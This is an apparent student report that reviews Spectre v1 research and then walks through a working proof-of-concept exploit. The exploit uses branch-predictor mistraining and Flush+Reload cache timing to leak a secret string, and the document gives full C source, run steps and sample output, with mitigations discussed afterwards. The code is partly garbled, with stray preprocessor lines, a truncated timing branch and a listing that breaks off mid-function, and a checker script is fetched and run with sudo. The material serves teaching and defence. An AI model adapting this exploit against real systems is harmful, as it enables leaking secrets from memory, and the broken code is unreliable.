Group Members

Maryam (29287), Juweriya (26787), and Nukhba (29019).

Spectre v1: Literature Review and Tutorial

Introduction

The original Spectre paper by Kocher et al. (2018) introduced the fundamental concepts underlying speculative execution attacks [1]. The researchers demonstrated that modern processors' branch prediction mechanisms could be manipulated to cause speculative execution of instruction sequences that would never occur during normal program flow. Their work showed practical attacks against Intel, AMD, and ARM processors across billions of devices.

The vulnerability affects processors that implement speculative execution, a performance optimization where the CPU predicts the outcome of conditional branches and executes instructions ahead of time. When the prediction proves incorrect, the processor discards the speculative results, but microarchitectural side effects, particularly in cache state, persist and can be observed [2].

Literature Review

Foundational Research

The original Spectre paper by Kocher et al. (2018) introduced the key ideas behind speculative execution attacks [1]. The authors showed that the branch prediction mechanisms in modern CPUs can be influenced to make the processor execute instructions speculatively, instructions that would never normally run. They demonstrated practical examples of this on Intel, AMD, and ARM processors, affecting billions of devices.

The vulnerability applies to processors that use speculative execution, a performance feature where the CPU predicts the result of a branch and runs instructions ahead of time. If the prediction is wrong, the processor discards the results, but the microarchitectural side effects, especially changes in the cache, remain and can be measured [2].

Attack Mechanism and Variants

Lipp et al. (2018) explained the difference between Spectre and the related Meltdown vulnerability [2]. They showed that Spectre works by causing a victim process to speculatively execute instructions that accidentally leak its own data, while Meltdown relied on specific CPU flaws that allowed an attacker to read kernel memory directly. This difference is important because Spectre does not depend on a special CPU bug, it comes from normal speculative execution behavior.

Later, research by Kiriansky and Waldspurger (2018) expanded the understanding of these attacks by introducing Spectre variants 1.1 and 1.2, which involve speculative stores instead of just speculative loads [3]. These findings showed that the speculative execution attack surface was larger than originally thought.

Real-World Exploitation

Practical demonstrations have shown how flexible Spectre v1 can be. The original paper included proof-of-concept attacks written in native code, JavaScript running inside web browsers, and even the Linux kernel's eBPF subsystem [1]. Earlier work by Oren et al. (2015) had already shown that JavaScript could be used for cache-based side-channel attacks, which helped set the stage for Spectre's JavaScript-based exploitation [4].

Later, Schwarz et al. (2018) introduced NetSpectre, a remote version of Spectre v1 that works over a network without executing any code on the victim machine [5]. Although the data exfiltration rate was slow, about 15-60 bits per hour, it showed that Spectre attacks are not limited to local environments and can fit into a broader threat model.

Mitigation Research

The academic and industry response to Spectre v1 introduced several different mitigation strategies. Intel and AMD recommended using serializing instructions such as LFENCE to stop speculation at sensitive points in code [6, 7]. However, as Hill and Marty (2018) pointed out, Intel announced hardware fixes for Meltdown and Spectre v2, but not for Spectre v1. Instead, they relied mainly on software-based defenses [8].

Carruth (2018) introduced Speculative Load Hardening (SLH), a compiler-level defense that adds data dependencies to ensure that speculative loads cannot leak sensitive information [9]. SLH performs better than inserting LFENCE after every branch, but it still comes with some performance overhead.

Taram et al. (2019) later presented Context-Sensitive Fencing (CSF), a microcode-based technique that injects fences into the execution stream only when needed [10]. This approach protects against multiple Spectre variants while keeping performance overhead relatively low, around 8%.

Operating System and Software Defenses

The Linux kernel responded with a selective strategy, adding "nospec" accessor macros and barrier_nospec() calls to protect code patterns known to be vulnerable to Spectre-style speculation [11]. Microsoft's MSVC compiler used static analysis to detect risky patterns as well, but its conservative approach meant it failed to catch many possible Spectre gadgets [12].

Browser vendors reacted quickly. Google Chrome adopted site isolation, running each website in a separate process to reduce the risk of cross-site data leaks [13]. WebKit

introduced defenses like pointer poisoning and index masking, especially aimed at protecting JIT-compiled code from speculative execution attacks [14].

Performance Impact Studies

Research on the performance impact of Spectre mitigations shows that the slowdown can vary a lot. A 2018 study by McCalpin et al. reported that fully enabling Spectre protections could reduce server performance by around 25% on average [15]. The exact overhead depends on the workload: applications with many context switches slow down more, while compute-heavy programs are affected less.

Ongoing Challenges

Despite years of research and many mitigation efforts, Spectre v1 is still a difficult problem. Evtyushkin et al. (2021) showed that traditional antivirus tools struggle to detect Spectre-style attacks, and attackers can easily create variants that evade detection [16]. This highlights an ongoing issue: the basic trade-off between CPU performance and security in modern processor design still has no clear solution.

Technical Background

Speculative Execution

Modern processors use speculative execution to speed up performance by running instructions before the CPU knows for sure that they are needed. When the processor hits a conditional branch whose outcome depends on data that hasn't arrived yet (for example, data still being fetched from memory), it does the following:

1. Predicts which direction the branch will take
2. Saves the current register state as a checkpoint
3. Speculatively executes the instructions along the predicted path
4. Keeps the results if the prediction was right, or discards them and restores the checkpoint if it was wrong

Branch Prediction

The branch predictor tries to guess the outcome of branches based on past behavior. It uses several structures to make these predictions:

- Branch Target Buffer (BTB): Stores the addresses of branch instructions and the targets they usually jump to
- Pattern History Table (PHT): Tracks whether recent branches were taken or not, helping the CPU spot patterns
- Branch History Buffer (BHB): Keeps a rolling record (or hash) of recent branch outcomes to improve prediction accuracy

Cache-Based Side Channels

Even if speculative execution is rolled back, it can still leave observable traces in the CPU cache. The Flush+Reload side-channel attack takes advantage of this by using three steps:

1. Flush: Remove a specific cache line using the clflush instruction
2. Execute: Allow the victim code to run, which may speculatively access that cache line
3. Reload: Measure how long it takes to reload the same memory location

Interpretation:

- Fast access leads to cache hit which leads to the victim speculatively accessing the line
- Slow access leads to cache miss which leads to the victim not accessing it

How Spectre v1 Works

The Vulnerable Pattern

Consider this common code pattern:

```
if (x < array1_size) {

temp &= array2[array1[x] * 512];

}
```

At first glance, it looks safe, the bounds check should prevent any out-of-bounds access to array1. However, Spectre v1 takes advantage of the small window between when the bounds check starts and when it actually finishes, allowing the CPU to speculatively execute the out-of-bounds read before the check completes.

Attack Phases

Phase 1: Mistraining

The attacker repeatedly calls the vulnerable function with valid values of x, training the branch predictor to expect x < array1_size to be true.

```
for (int i = 0; i < 100; i++) {

    victim_function(x);  // Valid index

}
```

Phase 2: Preparation

The attacker manipulates cache state:

- Ensures array1_size is NOT in cache (so checking it is slow)
- Ensures the target secret byte IS in cache (so reading it is fast)
- Ensures array2 is NOT in cache (to observe speculative effects)

Phase 3: Speculative Execution

The attacker calls the function with a malicious out-of-bounds x:

```
// x chosen so array1[x] reads secret memory


size_t malicious_x = (size_t)(secret - (char * ) array1);


victim_function(malicious_x);
```

What happens:

1. CPU starts checking if `malicious_x < array1_size`
2. Since array1_size is not cached, this check is SLOW
3. Branch predictor (trained earlier) predicts the check will pass
4. CPU speculatively executes: `temp &= array2[array1[x] * 512];`
5. This reads the secret byte from `array1[malicious_x]`
6. Then accesses array2 at an index determined by the secret value
7. Eventually the bounds check completes, CPU realizes prediction was wrong
8. CPU reverts all register changes... but cache changes persist

Phase 4: Information Extraction

The attacker uses Flush+Reload to determine which cache line of array2 was accessed:

```
for (int i = 0; i < 256; i++) {

    time1 = __rdtscp( & junk); /* READ TIMER */

junk = * addr; /* MEMORY ACCESS TO TIME */

time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */

    if ((int)time2 <= cache_hit_threshold && mix_i != array1[tries %
```

```
array1_size])

results[mix_i]++; /* cache hit - add +1 to score for this value */

}
```

Step-by-Step Tutorial

For this project, the proof-of-concept implementation was based on the publicly available Spectre PoC by crozone, available at https://github.com/crozone/SpectrePoC/blob/master

Prerequisites

- x86-64 Linux system (Intel, AMD, or compatible)
- GCC compiler
- Basic understanding of C programming

Tutorial: Basic Spectre v1 PoC

Let's build a simplified proof-of-concept that reads a secret string.

Step 1: Setup Code Structure

```
#include <stdio.h>

#include <stdlib.h>

#include <stdint.h>

#ifdef _MSC_VER

#include <intrin.h> /* for rdtsc, rdtscp, clflush */

#pragma optimize("gt",on)

#else

#include <x86intrin.h> /* for rdtsc, rdtscp, clflush */

#endif /* ifdef _MSC_VER */



/********************************************************************

Victim code.
```

```
**********/

unsigned int array1_size = 16;

uint8_t unused1[64];

uint8_t array1[16] = {

1,

2,

3,

4,

5,

6,

7,

8,

9,

10,

11,

12,

13,

14,

15,

16

};

uint8_t unused2[64];

uint8_t array2[256 * 512];



char * secret = "The Magic Words are Squeamish Ossifrage.";
```

```
uint8_t temp = 0; /* Used so compiler won't optimize out victim_function()
*/
```

Step 2: Implement Victim Function

```
void victim_function(size_t x) {

if (x < array1_size) {

#ifdef INTEL_MITIGATION

/*

* According to Intel et al, the best way to mitigate this is to

* add a serializing instruction after the boundary check to force

* the retirement of previous instructions before proceeding to

* the read.

* See https://newsroom.intel.com/wp-
content/uploads/sites/11/2018/01/Intel-Analysis-of-Speculative-Execution-
Side-Channels.pdf

*/

_mm_lfence();

#endif

#ifdef LINUX_KERNEL_MITIGATION

x &= array_index_mask_nospec(x, array1_size);

#endif

temp &= array2[array1[x] * 512];

}

}
```

Key Points:

- The if statement is our bounds check
- `array1[x] * 512` spaces out cache lines (typical line size is 64 bytes)
- The bitwise AND prevents compiler optimization

Step 3: Implement Cache Timing

```
int cache_hit_threshold = 80;



/* Time reads. Order is lightly mixed up to prevent stride prediction */

for (i = 0; i < 256; i++) {

mix_i = ((i * 167) + 13) & 255;

addr = & array2[mix_i * 512];



/*

We need to accuratly measure the memory access to the current index of the

array so we can determine which index was cached by the malicious
mispredicted code.



The best way to do this is to use the rdtscp instruction, which measures
current

processor ticks, and is also serialized.

*/



#ifndef NORDTSCP

time1 = __rdtscp( & junk); /* READ TIMER */

junk = * addr; /* MEMORY ACCESS TO TIME */

time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
```

```
#else



if ((int)time2 <= cache_hit_threshold && mix_i != array1[tries %
array1_size])

results[mix_i]++; /* cache hit - add +1 to score for this value */

}
```

Key Points:

- __rdtscp reads the CPU timestamp counter for precise timing
- Threshold of 80 cycles distinguishes cache hits from misses
- The volatile keyword prevents optimization

Step 4: Implement the Attack

```
void readMemoryByte(int cache_hit_threshold, size_t malicious_x, uint8_t
value[2], int score[2]) {

static int results[256];

int tries, i, j, k, mix_i;

unsigned int junk = 0;

size_t training_x, x;

register uint64_t time1, time2;

volatile uint8_t * addr;



#ifdef NOCLFLUSH

int junk2 = 0;

int l;

(void)junk2;

#endif
```

```
for (i = 0; i < 256; i++)

results[i] = 0;

for (tries = 999; tries > 0; tries--) {



#ifndef NOCLFLUSH

/* Flush array2[512*(0..255)] from cache */

for (i = 0; i < 256; i++)

_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

#else

/* Flush array2[256*(0..255)] from cache

using long SSE instruction several times */

for (j = 0; j < 16; j++)

for (i = 0; i < 256; i++)

flush_memory_sse( & array2[i * 512]);

#endif



/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x)
*/

training_x = tries % array1_size;

for (j = 29; j >= 0; j--) {

#ifndef NOCLFLUSH

_mm_clflush( & array1_size);

#else

/* Alternative to using clflush to flush the CPU cache */

/* Read addresses at 4096-byte intervals out of a large array.
```

```
Do this around 2000 times, or more depending on CPU cache size. */



for(l = CACHE_FLUSH_ITERATIONS * CACHE_FLUSH_STRIDE - 1; l >= 0; l-=
CACHE_FLUSH_STRIDE) {

junk2 = cache_flush_array[l];

}

#endif



/* Delay (can also mfence) */

for (volatile int z = 0; z < 100; z++) {}



/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */

/* Avoid jumps in case those tip off the branch predictor */

x = ((j % 6) - 1) & ~0xFFFF; /* Set x=0xFFFFFFFFFFFF0000 if j%6==0, else
x=0 */

x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */

x = training_x ^ (x & (malicious_x ^ training_x));



/* Call the victim! */

victim_function(x);



}
```

Key Points:

- We perform 999 attempts to increase reliability
- 5 training calls per 1 attack call (5:1 ratio)
- Bit twiddling avoids conditional branches that might affect branch predictor

- Mixed-up order in probing prevents stride prediction

Step 5: Main Function

```
int main(int argc,

const char * * argv) {

/* Default to a cache hit threshold of 80 */

int cache_hit_threshold = 80;



/* Default for malicious_x is the secret string address */

size_t malicious_x = (size_t)(secret - (char * ) array1);

/* Default addresses to read is 40 (which is the length of the secret
string) */

int len = 40;

int score[2];

uint8_t value[2];

int i;



#ifdef NOCLFLUSH

for (i = 0; i < (int)sizeof(cache_flush_array); i++) {

cache_flush_array[i] = 1;

}

#endif

for (i = 0; i < (int)sizeof(array2); i++) {

array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages
*/

}
```

```
/* Parse the cache_hit_threshold from the first command line argument.
(OPTIONAL) */
if (argc >= 2) {
sscanf(argv[1], "%d", &cache_hit_threshold);
}

/* Parse the malicious x address and length from the second and third
command line argument. (OPTIONAL) */
if (argc >= 4) {
sscanf(argv[2], "%p", (void * * )( &malicious_x));

/* Convert input value into a pointer */
malicious_x -= (size_t) array1;

sscanf(argv[3], "%d", &len);
}

/* Print git commit hash */
#ifdef GIT_COMMIT_HASH
printf("Version: commit " GIT_COMMIT_HASH "\n");
#endif
/* Print cache hit threshold */
printf("Using a cache hit threshold of %d.\n", cache_hit_threshold);
/* Print build configuration */
```

```
printf("Build: ");

#ifndef NORDTSCP

printf("RDTSCP_SUPPORTED ");

#else

printf("RDTSCP_NOT_SUPPORTED ");

#endif

#ifndef NOMFENCE

printf("MFENCE_SUPPORTED ");

#else

printf("MFENCE_NOT_SUPPORTED ");

#endif

#ifndef NOCLFLUSH

printf("CLFLUSH_SUPPORTED ");

#else

printf("CLFLUSH_NOT_SUPPORTED ");

#endif

#ifdef INTEL_MITIGATION

printf("INTEL_MITIGATION_ENABLED ");

#else

printf("INTEL_MITIGATION_DISABLED ");

#endif

#ifdef LINUX_KERNEL_MITIGATION

printf("LINUX_KERNEL_MITIGATION_ENABLED ");

#else

printf("LINUX_KERNEL_MITIGATION_DISABLED ");
```

```
#endif


printf("\n");


printf("Reading %d bytes:\n", len);


/* Start the read loop to read each address */

while (--len >= 0) {

printf("Reading at malicious_x = %p... ", (void * ) malicious_x);


/* Call readMemoryByte with the required cache hit threshold and

malicious x address. value and score are arrays that are

populated with the results.

*/

readMemoryByte(cache_hit_threshold, malicious_x++, value, score);


/* Display the results */

printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));

printf("0x%02X='%c' score=%d ", value[0],

(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);

if (score[1] > 0) {

printf("(second best: 0x%02X='%c' score=%d)", value[1],

(value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]);

}
```

```
printf("\n");

}

return (0);

}
```

Step 6: Compile and Run

Build with make command.

The output binary is ./spectre.out.

Run the attack:

./spectre.out

Expected output:

Using a cache hit threshold of 80.

Build: RDTSCP_SUPPORTED MFENCE_SUPPORTED CLFLUSH_SUPPORTED INTEL_MITIGATION_DISABLED LINUX_KERNEL_MITIGATION_DISABLED

Reading 40 bytes:

Reading at malicious_x = 0xffffffffffffdfe8... Success: 0x54='T' score=9 (second best: 0xFF='?' score=2)

Reading at malicious_x = 0xffffffffffffdfe9... Success: 0x68='h' score=11 (second best: 0xFF='?' score=3)

Reading at malicious_x = 0xffffffffffffdfea... Success: 0x65='e' score=11 (second best: 0xFF='?' score=3)

Reading at malicious_x = 0xffffffffffffdfeb... Success: 0x20=' ' score=7 (second best: 0xFF='?' score=1)

Reading at malicious_x = 0xffffffffffffdfec... Success: 0x4D='M' score=2

Reading at malicious_x = 0xffffffffffffdfed... Success: 0x61='a' score=2

Reading at malicious_x = 0xffffffffffffdfee... Success: 0x67='g' score=2

Reading at malicious_x = 0xffffffffffffdfef... Success: 0x69='i' score=9 (second best: 0xFF='?' score=2)

Reading at malicious_x = 0xffffffffffffdff0... Success: 0x63='c' score=7 (second best: 0xFF='?' score=1)

Reading at malicious_x = 0xffffffffffffdff1... Success: 0x20=' ' score=2

Reading at malicious_x = 0xffffffffffffdff2... Success: 0x57='W' score=9 (second best: 0xFC='?' score=2)

Reading at malicious_x = 0xffffffffffffdff3... Success: 0x6F='o' score=2

Reading at malicious_x = 0xffffffffffffdff4... Success: 0x72='r' score=7 (second best: 0xFF='?' score=1)

Reading at malicious_x = 0xffffffffffffdff5... Success: 0x64='d' score=9 (second best: 0xFF='?' score=2)

Reading at malicious_x = 0xffffffffffffdff6... Success: 0x73='s' score=2

Reading at malicious_x = 0xffffffffffffdff7... Success: 0x20=' ' score=2

Reading at malicious_x = 0xffffffffffffdff8... Success: 0x61='a' score=2

Reading at malicious_x = 0xffffffffffffdff9... Success: 0x72='r' score=9 (second best: 0xFF='?' score=2)

Reading at malicious_x = 0xffffffffffffdffa... Success: 0x65='e' score=2

Reading at malicious_x = 0xffffffffffffdffb... Success: 0x20=' ' score=2

Reading at malicious_x = 0xffffffffffffdffc... Success: 0x53='S' score=2

Reading at malicious_x = 0xffffffffffffdffd... Success: 0x71='q' score=2

Reading at malicious_x = 0xffffffffffffdffe... Success: 0x75='u' score=2

Reading at malicious_x = 0xffffffffffffdfff... Success: 0x65='e' score=2

Reading at malicious_x = 0xfffffffffffe000... Success: 0x61='a' score=2

Reading at malicious_x = 0xfffffffffffe001... Success: 0x6D='m' score=303 (second best: 0xF6='?' score=149)

Reading at malicious_x = 0xfffffffffffe002... Success: 0x69='i' score=7 (second best: 0xFF='?' score=1)

Reading at malicious_x = 0xfffffffffffe003... Success: 0x73='s' score=2

Reading at malicious_x = 0xfffffffffffe004... Success: 0x68='h' score=2

Reading at malicious_x = 0xfffffffffffe005... Success: 0x20=' ' score=2

Reading at malicious_x = 0xfffffffffffe006... Success: 0x4F='O' score=2

Reading at malicious_x = 0xfffffffffffe007... Success: 0x73='s' score=2

Reading at malicious_x = 0xfffffffffffe008... Success: 0x73='s' score=2

Reading at malicious_x = 0xfffffffffffe009... Success: 0x69='i' score=7 (second best: 0xFF='?' score=1)

Reading at malicious_x = 0xfffffffffffe00a... Success: 0x66='f' score=2

Reading at malicious_x = 0xfffffffffffe00b... Success: 0x72='r' score=2

Reading at malicious_x = 0xfffffffffffe00c... Success: 0x61='a' score=2

Reading at malicious_x = 0xfffffffffffe00d... Success: 0x67='g' score=2

Reading at malicious_x = 0xfffffffffffe00e... Success: 0x65='e' score=2

Reading at malicious_x = 0xfffffffffffe00f... Success: 0x2E='.' score=2

Mitigation Techniques

1. Software Mitigations

A. Serializing Instructions (LFENCE)

Insert lfence instructions after bounds checks to prevent speculation:

```
if (x < array1_size) {
    __asm__ volatile("lfence");  // Serialize execution
    y = array2[array1[x] * 512];
}
```

Pros:

- Simple to implement
- Effective when applied correctly

Cons:

- Significant performance overhead (20-40% in some cases)
- Must identify ALL vulnerable code paths
- Legacy code remains vulnerable

B. Index Masking

Replace bounds checks with masking operations:

```
// Instead of:

if (x < array1_size) { ... }

// Use:

x = x & (array1_size - 1);  // Mask to valid range

y = array2[array1[x] * 512];
```

Pros:

- Lower performance overhead than LFENCE
- No branches to mispredict

Cons:

- Only works when array size is power of 2
- Still allows some out-of-bounds access (limited range)

C. Speculative Load Hardening (SLH)

Compiler inserts data dependencies to prevent speculation from accessing secret data:

```
// Compiler transforms:

if (x < array1_size) {

    y = array2[array1[x] * 512];

}




// Into something like:



bool check = (x < array1_size);

size_t mask = -(size_t)check;  // All 1s if true, all 0s if false
```

```
y = array2[(array1[x] & mask) * 512];
```

Enable in Clang:

clang -mspeculative-load-hardening -o protected program.c

Pros:

- Comprehensive protection
- Better performance than ubiquitous LFENCE

Cons:

- Still ~10-20% overhead
- Requires recompilation

D. Linux Kernel Approach (nospec macros)

```
#include <linux/nospec.h>


if (x < array1_size) {
    x = array_index_nospec(x, array1_size);
    y = array2[array1[x] * 512];
}
```

The `array_index_nospec` macro uses architecture-specific instructions to prevent speculation.

2. Hardware Mitigations

Proposed Solutions

1. Speculation Depth Limiting: Reduce how far ahead CPU speculates
2. Taint Tracking: Mark speculatively-loaded data, prevent use in addresses
3. Cache Partitioning: Prevent speculative execution from modifying shared cache state

Status: As of recent vendor guidance, many mitigations (microcode and architectural changes) have been added to newer processors, but a single universal hardware fix that eliminates all Spectre-class bounds-check bypass variants across every microarchitecture remains elusive, software and compiler mitigations are still required in many contexts.

3. Architectural Solutions

Process Isolation

- Site Isolation (Chrome): Each website runs in separate process
- Containers: Limit blast radius of attacks

Code Audit and Scanning

Tools like spectre-meltdown-checker can assess system vulnerability:

Download and run:

```
wget https://meltdown.ovh -O spectre-meltdown-checker.sh

chmod +x spectre-meltdown-checker.sh

sudo ./spectre-meltdown-checker.sh
```

Complete Proof-of-Concept Code (spectre.c)

```
#include <stdio.h>

#include <stdlib.h>

#include <stdint.h>

#ifdef _MSC_VER

#include <intrin.h> /* for rdtsc, rdtscp, clflush */

#pragma optimize("gt",on)

#else

#include <x86intrin.h> /* for rdtsc, rdtscp, clflush */

#endif /* ifdef _MSC_VER */



/* Automatically detect if SSE2 is not available when SSE is advertized */



#ifdef _MSC_VER
```

```
#if _M_IX86_FP==1

#define NOSSE2

#endif

#else

#if defined(__SSE__) && !defined(__SSE2__)

#define NOSSE2

#endif

#endif



#ifdef NOSSE2

#define NORDTSCP

#define NOMFENCE

#define NOCLFLUSH

#endif

#else



/* Not MSC */



#if defined(__SSE__) && !defined(__SSE2__)

#define NOSSE2

#endif

#endif /* ifdef _MSC_VER */



#ifdef NOSSE2

#define NORDTSCP
```

```
#define NOMFENCE

#define NOCLFLUSH

#endif
```

Victim code.

```
unsigned int array1_size = 16;

uint8_t unused1[64];

uint8_t array1[16] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16

};



uint8_t unused2[64];

uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won't optimize out victim_function()
*/



#ifdef LINUX_KERNEL_MITIGATION



/* From
https://github.com/torvalds/linux/blob/cb6416592bc2a8b731dabcec0d63cda2707
64fc6/arch/x86/include/asm/barrier.h#L27 */

/**

* array_index_mask_nospec() - generate a mask that is ~0UL when the

* bounds check succeeds and 0 otherwise

* @index: array element index
```

```
* @size: number of elements in array

*

* Returns:

* 0 - (index < size)

*/


static inline unsigned long array_index_mask_nospec(unsigned long index,

unsigned long size)

{

unsigned long mask;


__asm__ __volatile__ ("cmp %1,%2; sbb %0,%0;"

:"=r" (mask)

:"g"(size),"r" (index)

:"cc");

return mask;

}

#endif


void victim_function(size_t x) {


if (x < array1_size) {


#ifdef INTEL_MITIGATION

/*
```

```
* According to Intel et al, the best way to mitigate this is to

* add a serializing instruction after the boundary check to force

* the retirement of previous instructions before proceeding to

* the read.

* See https://newsroom.intel.com/wp-
content/uploads/sites/11/2018/01/Intel-Analysis-of-Speculative-Execution-
Side-Channels.pdf

*/

_mm_lfence();



#endif



#ifdef LINUX_KERNEL_MITIGATION

x &= array_index_mask_nospec(x, array1_size);



#endif

temp &= array2[array1[x] * 512];

}

}
```

Analysis code

```

#ifdef NOCLFLUSH



#define CACHE_FLUSH_ITERATIONS 2048



#define CACHE_FLUSH_STRIDE 4096
```

```
uint8_t cache_flush_array[CACHE_FLUSH_STRIDE * CACHE_FLUSH_ITERATIONS];

/* Flush memory using long SSE instructions */

void flush_memory_sse(uint8_t * addr)

{

float * p = (float *)addr;

float c = 0.f;

__m128 i = _mm_setr_ps(c, c, c, c);

int k, l;

/* Non-sequential memory addressing by looping through k by l */

for (k = 0; k < 4; k++)

for (l = 0; l < 4; l++)

_mm_stream_ps(&p[(l * 4 + k) * 4], i);

}

#endif

/* Report best guess in value[0] and runner-up in value[1] */

void readMemoryByte(int cache_hit_threshold, size_t malicious_x, uint8_t
value[2], int score[2]) {

static int results[256];

int tries, i, j, k, mix_i;
```

```
unsigned int junk = 0;

size_t training_x, x;

register uint64_t time1, time2;

volatile uint8_t * addr;



#ifdef NOCLFLUSH

int junk2 = 0;

int l;

(void)junk2;

#endif



for (i = 0; i < 256; i++)

results[i] = 0;

for (tries = 999; tries > 0; tries--) {



#ifndef NOCLFLUSH

/* Flush array2[512*(0..255)] from cache */

for (i = 0; i < 256; i++)

_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

#else

/* Flush array2[256*(0..255)] from cache

using long SSE instruction several times */

for (j = 0; j < 16; j++)

for (i = 0; i < 256; i++)

flush_memory_sse( & array2[i * 512]);
```

```
#endif



/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x)
*/

training_x = tries % array1_size;

for (j = 29; j >= 0; j--) {

#ifndef NOCLFLUSH

_mm_clflush( & array1_size);

#else

/* Alternative to using clflush to flush the CPU cache */

/* Read addresses at 4096-byte intervals out of a large array.

Do this around 2000 times, or more depending on CPU cache size. */



for(l = CACHE_FLUSH_ITERATIONS * CACHE_FLUSH_STRIDE - 1; l >= 0; l-=
CACHE_FLUSH_STRIDE) {

junk2 = cache_flush_array[l];

}

#endif



/* Delay (can also mfence) */

for (volatile int z = 0; z < 100; z++) {}



/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */

/* Avoid jumps in case those tip off the branch predictor */

x = ((j % 6) - 1) & ~0xFFFF; /* Set x=0xFFFFFFFFFFFF0000 if j%6==0, else
x=0 */

x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
```

```
x = training_x ^ (x & (malicious_x ^ training_x));



/* Call the victim! */

victim_function(x);



}



/* Time reads. Order is lightly mixed up to prevent stride prediction */

for (i = 0; i < 256; i++) {

mix_i = ((i * 167) + 13) & 255;

addr = & array2[mix_i * 512];



/*

We need to accuratly measure the memory access to the current index of the

array so we can determine which index was cached by the malicious
mispredicted code.



The best way to do this is to use the rdtscp instruction, which measures
current

processor ticks, and is also serialized.

*/



#ifndef NORDTSCP

time1 = __rdtscp( & junk); /* READ TIMER */

junk = * addr; /* MEMORY ACCESS TO TIME */

time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
```

```
#else


/*
The rdtscp instruction was instroduced with the x86-64 extensions.
Many older 32-bit processors won't support this, so we need to use
the equivalent but non-serialized tdtsc instruction instead.
*/


#ifndef NOMFENCE
/*
Since the rdstc instruction isn't serialized, newer processors will try to
reorder it, ruining its value as a timing mechanism.
To get around this, we use the mfence instruction to introduce a memory
barrier and force serialization. mfence is used because it is portable
across
Intel and AMD.
*/


_mm_mfence();
time1 = __rdtsc(); /* READ TIMER */
_mm_mfence();
junk = * addr; /* MEMORY ACCESS TO TIME */
_mm_mfence();
time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
_mm_mfence();
```

```
#else

/*

The mfence instruction was introduced with the SSE2 instruction set, so

we have to ifdef it out on pre-SSE2 processors.

Luckily, these older processors don't seem to reorder the rdtsc
instruction,

so not having mfence on older processors is less of an issue.

*/



time1 = __rdtsc(); /* READ TIMER */

junk = * addr; /* MEMORY ACCESS TO TIME */

time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */

#endif

#endif

if ((int)time2 <= cache_hit_threshold && mix_i != array1[tries %
array1_size])

results[mix_i]++; /* cache hit - add +1 to score for this value */

}



/* Locate highest & second-highest results results tallies in j/k */

j = k = -1;

for (i = 0; i < 256; i++) {

if (j < 0 || results[i] >= results[j]) {

k = j;

j = i;

} else if (k < 0 || results[i] >= results[k]) {
```

```
k = i;

}

}

if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k]
== 0))

break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */

}

value[0] = (uint8_t) j;

score[0] = results[j];

value[1] = (uint8_t) k;

score[1] = results[k];

results[0] ^= junk; /* use junk so code above won't get optimized out*/

}



/*

* Command line arguments:

* 1: Cache hit threshold (int)

* 2: Malicious address start (size_t)

* 3: Malicious address count (int)

*/

int main(int argc,

const char * * argv) {

/* Default to a cache hit threshold of 80 */

int cache_hit_threshold = 80;



/* Default for malicious_x is the secret string address */
```

```
size_t malicious_x = (size_t)(secret - (char * ) array1);

/* Default addresses to read is 40 (which is the length of the secret
string) */

int len = 40;

int score[2];

uint8_t value[2];

int i;



#ifdef NOCLFLUSH

for (i = 0; i < (int)sizeof(cache_flush_array); i++) {

cache_flush_array[i] = 1;

}

#endif

for (i = 0; i < (int)sizeof(array2); i++) {

array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages
*/

}



/* Parse the cache_hit_threshold from the first command line argument.

(OPTIONAL) */

if (argc >= 2) {

sscanf(argv[1], "%d", &cache_hit_threshold);

}



/* Parse the malicious x address and length from the second and third

command line argument. (OPTIONAL) */
```

```
if (argc >= 4) {

sscanf(argv[2], "%p", (void * * )( &malicious_x));



/* Convert input value into a pointer */

malicious_x -= (size_t) array1;



sscanf(argv[3], "%d", &len);

}



/* Print git commit hash */

#ifdef GIT_COMMIT_HASH

printf("Version: commit " GIT_COMMIT_HASH "\n");

#endif

/* Print cache hit threshold */

printf("Using a cache hit threshold of %d.\n", cache_hit_threshold);

/* Print build configuration */

printf("Build: ");

#ifndef NORDTSCP

printf("RDTSCP_SUPPORTED ");

#else

printf("RDTSCP_NOT_SUPPORTED ");

#endif

#ifndef NOMFENCE

printf("MFENCE_SUPPORTED ");

#else
```

```
printf("MFENCE_NOT_SUPPORTED ");

#endif

#ifndef NOCLFLUSH

printf("CLFLUSH_SUPPORTED ");

#else

printf("CLFLUSH_NOT_SUPPORTED ");

#endif

#ifdef INTEL_MITIGATION

printf("INTEL_MITIGATION_ENABLED ");

#else

printf("INTEL_MITIGATION_DISABLED ");

#endif

#ifdef LINUX_KERNEL_MITIGATION

printf("LINUX_KERNEL_MITIGATION_ENABLED ");

#else

printf("LINUX_KERNEL_MITIGATION_DISABLED ");

#endif


printf("\n");


printf("Reading %d bytes:\n", len);


/* Start the read loop to read each address */

while (--len >= 0) {

printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
```

```
/* Call readMemoryByte with the required cache hit threshold and

malicious x address. value and score are arrays that are

populated with the results.

*/

readMemoryByte(cache_hit_threshold, malicious_x++, value, score);


/* Display the results */

printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));

printf("0x%02X='%c' score=%d ", value[0],

(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);

if (score[1] > 0) {

